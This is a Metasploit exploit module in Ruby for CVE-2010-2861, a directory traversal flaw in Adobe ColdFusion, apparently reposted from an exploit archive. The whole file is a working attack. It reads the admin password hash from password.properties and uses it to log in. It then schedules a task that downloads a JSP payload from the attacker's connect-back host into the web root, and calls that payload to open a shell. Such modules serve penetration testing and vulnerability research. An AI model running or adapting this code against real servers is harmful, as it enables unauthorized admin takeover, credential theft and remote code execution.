Adobe ColdFusion - Directory Traversal

##
# $Id: coldfusion_traversal.rb 11974 2011-03-16 01:38:16Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe ColdFusion - Directory Traversal',
            'Description'    => %q{
                    This module exploits a directory traversal bug in Adobe ColdFusion.
                By reading the password.properties a user can login using the encrypted
                password itself. This should work on version 8 and below.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'webDEViL' ],
            'Version'        => '$Revision: 11974 $',
            'References'     =>
                [
                    [ 'CVE', '2010-2861' ],
                    [ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],  
                    [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],       
                ],
            'Privileged'    => true,
            'Platform'      => ['linux','windows'],
            'Stance'        => Msf::Exploit::Stance::Aggressive,
            'Targets'       =>
                [
                    [ 'Universal',
                        {
                            'Arch' => ARCH_JAVA,
                            'Payload' => 'java'
                        }
                    ],
                ],
 
            'DisclosureDate' => 'Aug 25 2010',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
                OptString.new('URL',   [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
                OptString.new('CBIP',  [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
                OptString.new('TRAV',  [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]), 
            ], self.class)
 
    end
     
    def exploit
     
        ip = datastore['RHOST']
        url = datastore['URL']+"enter.cfm"
        locale = "?locale="
        trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
        datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
        datastore['URIPATH'] = rand_text_alphanumeric(6)
         
        print_status("Trying to acheive Directory Traversal...")
        while trav.match(/..\//im)
            res = send_request_raw({
                'uri'     => url+locale+trav,
                'method'  => 'GET',
                'headers' =>
                    {
                        'Connection' => "keep-alive",
                        'Accept-Encoding' => "zip,deflate",
                    },
                }, -1)
     
            if (res.nil?)
                print_error("no response for #{ip}:#{rport} #{url}")
            elsif (res.code == 200)
                #print_error("#{res.body}")#debug
                 
                if match = res.body.match(/([0-9A-F]{40})/im);
                    caphash = $1
                    print_status("URL: #{ip}#{url}?locale=#{trav}")
                    print_status("Admin Hash: " + caphash)
                    break
                else
                    #select(nil, nil, nil, 3)
                    trav=trav[3..-1]
                    print_status("Trav:"+trav)
                     
                end
                 
            else
                ''
            end
        end
         
        if caphash.nil?
            print_error("Could not determine location of password.properties file, Set TRAV option manually")
            print_error("OR ColdFusion is not vulnerable")
            return
        end
         
        keyz = Time.now.to_i.to_s+"123"
        print_status("Time: "+ keyz)
        loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
        print_status("Login Hash: "+loghash)
         
        params =  'cfadminPassword='+loghash
        params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
        params << 'salt='+keyz
        params << '&submit=Login'
 
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => url,
            'data'  => params
        })
 
        if (res)
            #print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
            if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
                session = $1
                print_status("Cookie: #{session}")
            else
                print_error("Error retrieving cookie!")
            end
        else
            print_error("No response received while logging in.")
        end
 
        print_status("Attempting to automatically detect the platform...")
        ##AUTO_DETECT START
        path = datastore['URL'] + 'settings/mappings.cfm'
        res = send_request_raw(
            {
                'uri'    => path,
                'headers' =>
                    {
                        'Cookie'     => "CFAUTHORIZATION_cfadmin=#{session}"
                    }
            }, 20)
 
        if (not res) or (res.code != 200)
            print_error("Failed: Error requesting #{path}")
            return nil
        end
 
        if (res.body.match(/.*td *>(.*CFIDE&nbps;)/im);)
            os = $1
            os.match(/<td [^>]*?>(.*)&nbsp/im);
            os1 =$1
            os1 = os1.gsub("\t", '')
            os1 = os1.gsub("\r\n", '')
 
            if (os1 =~ /:/i) #haha ;)
                print_status('OS: Windows')
                datastore['SHELL'] = 'cmd.exe'
                os1=os1+"\\"       
            else #(os1 =~ /\//i)
                print_status('OS: Linux')
                datastore['SHELL'] = '/bin/sh'
                os1=os1+"/"
            end
            print_status("Web Directory:"+os1)
        end
 
        ##AUTO_DETECT END
 
        res = send_request_raw(
            {
                'uri'     => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
                'method'  => 'GET',
                'headers' =>
                    {
                        'Cookie'     => "CFAUTHORIZATION_cfadmin=#{session}",
                    }
            }, 25)
 
        if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
            start_time = $1
        end
 
        if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)       
            start_date = $1
        end
        #else FAIL!
        comb = start_date + start_time
        fmt = "%b %d, %Y%I:%M %p"
 
        comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
        t = comb.strftime("%b %d, %Y")
        t1 = comb.strftime("%I:%M %p")
        #t=(Time.now).strftime("%b %d, %Y") #can't use local time
        #t1=(Time.now + 5).strftime("%I:%M:%S %p")
        params =  'TaskName=wD-'+rand_text_alphanumeric(6)
        params << "&Start_Date=#{t}" #Mar+12%2C+2011
        params << '&End_Date=&ScheduleType=Once'
        params << "&StartTimeOnce=#{t1}" #6%3A40+PM
        params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
        params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
        params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
        params << '&publish_file='+os1+datastore['JSP']
        params << '&adminsubmit=Submit&taskNameOrig='
         
        res = send_request_raw(
            {
                'uri'     => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
                'method'  => 'POST',
                'data'    => params,
                'headers' =>
                    {
                        'Content-Type'   => 'application/x-www-form-urlencoded',
                        'Content-Length' => params.length,
                        'Cookie'     => "CFAUTHORIZATION_cfadmin=#{session}",
                    }
            }, 25)
        #print_error("#{res.body}")
        super
    end
         
    def on_request_uri(cli, request)
        p = regenerate_payload(cli)
        #print_status("SHELL set to #{datastore['SHELL']}")
        #print_status((p.encoded).to_s)
         
        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
 
        # Transmit the response to the client
        send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })
 
        res = send_request_raw(
            {
                'uri'     => "/CFIDE/"+datastore['JSP'],
                'method'  => 'GET',
            }, 25)
        # Handle the payload
        handler(cli)
    end
end



#  0day.today [2018-03-05]  #